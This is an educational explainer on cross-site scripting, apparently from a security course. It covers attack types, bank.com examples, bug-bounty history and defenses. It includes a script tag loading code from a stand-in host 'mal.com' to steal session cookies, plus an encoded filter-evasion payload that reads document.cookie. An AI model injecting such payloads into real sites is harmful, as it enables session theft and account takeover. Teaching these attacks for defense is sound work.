Cross-site scripting (XSS)

Cross-site scripting (XSS) is a common type of web application vulnerability in which an attacker is able to inject malicious client-side Javascript code into a webpage. Sites with improperly-sanitized user-generated content are particularly vulnerable to such an attack.

These attacks are referred to as "cross-site" because the malicious script is often loaded from an external site (e.g. <script src="mal.com/script.js"/>).

Attack Vector

For an XSS attack to be successful, an attacker has to be able to inject malicious javascript into a trusted page. There are three main ways that this can be accomplished:

  • Stored XSS Attack (aka Persistent or Type-I XSS)

  • In which the malicious script is persistently stored on the server (e.g. on a message board or as a username)

  • Reflected XSS Attack (aka Non-Persistent or Type-II XSS)

  • In which the malicious script is present in the request to the server and is "reflected" off of the server (e.g. in an error message).

  • DOM-based XSS (aka Type-0 XSS)

  • In which the malicious script is injected into a DOM element (like the URL) and then evaluated (e.g. via eval() or merely being included on the page as innerHTML, for example)

Impact

XSS attacks can do anything that client-side Javascript can do: leak session cookies, steal credentials, download files to a user's computer, etc. XSS vulnerabilities have been found in several well-known websites and in some cases led to serious breaches. An XSS vulnerability can be exploited to perform actions on behalf of an authenticated user (e.g. a CSRF attack).

Attack Examples

Example 1- Stored XSS

The website bank.com has a user message board where users can ask and answer questions about the bank. Eve makes a benign-looking post on the message board but adds <script src="mal.com/script.js"/> to the end of her post. The file, script.js is a malicious script which grabs a user's session cookie and sends it to Eve. The bank's message board code does not sanitize or escape message board content and serves Eve's message, including the script tag, to Alice. Alice's browser executes the malicious script. Eve, now in possession of Alice's session cookie, can log in as Alice and has full access to Alice's account and funds.

Example 2- Reflected XSS

After Alice reports that she lost all her money, the webmaster of bank.com realizes that the message board is insecure. The webmaster adds code to sanitize and escape user messages, removing the message board XSS vulnerability. However, bank.com recently got a fancy new 404 page, which displays a message including the URL that caused the 404:

URL: bank.com/doesntexist

Page: <p>Sorry, but we don't have a page called doesntexist. Thanks for using Bank.com!</p>

Eve posts a new message to the message board with a hyperlink to bank.com/<script src="mal.com/script.js"/>, along with an innocent-sounding message. Bob clicks on the link to see where it goes, and gets the fancy 404 page:

<p>Sorry, but we don't have a page called <script src="mal.com/script.js"/>. Thanks for using Bank.com!</p>

Bob's browser executes the malicious script, which sends his session cookie to Eve. Eve now has access to Bob's account.

Historical Attacks

  • This vulnerability in Steam chat allowed for remote code execution on a victim's computer via a stored XSS attack. It was worth a $3000 bounty.
  • This vulnerability in Uber's website allowed for a reflected XSS attack off of Uber's Law Enforcement portal. It was worth a $7500 bounty.
  • This vulnerability in Apache Jira eventually gave attackers root access on Apache servers and leaked Apache customer passwords.
  • In December 2006, this paper by Stefano Di Paola and Giorgio Fedon described a DOM-based XSS attack against Adobe's Acrobat PDF plugin.

Defenses

To defend against an XSS attack, a web application must be very careful about inserting user-generated content into HTML, CSS, and Javascript code. Different encodings exist for different contexts (inserting into HTML, inserting into JS, inserting into CSS) which will protect against XSS, but it is important to make sure that these are implemented correctly. For more information about defense against XSS, see this page.

Filtering against XSS attacks is generally insufficient. Because browsers are so tolerant of malformed HTML/CSS/JS, it is often easy to evade filters that try to detect <script> tags, javascript:// links or style attributes like onload or onmouseover. For instance, jav&#x0a;script&#x3a;&#x61;lert(&#x64;ocument&#x2E;&#x63;ookie) is equivalent to javascript:alert(document.cookie) but will likely evade most filters. See this page for more information on why filters are not a good solution for XSS defense.

Criteria for Demonstration

To demonstrate an XSS attack, provide the exact input required for the attack and where you submitted it (e.g. the URL for a reflected attack, a form submission for a stored attack, etc.). To demonstrate that your Javascript payload is being executed, it is sufficient to have your exploit display a message in the user's browser (eg. alert("hello")), which is a good precursor for what could be a much more sophisticated attack (eg. stealthily modifying the web page or stealing information). If you would like to take this further, you can also try to read the user's cookies, or exfiltrate data to a remote URL.


Other resources


wschor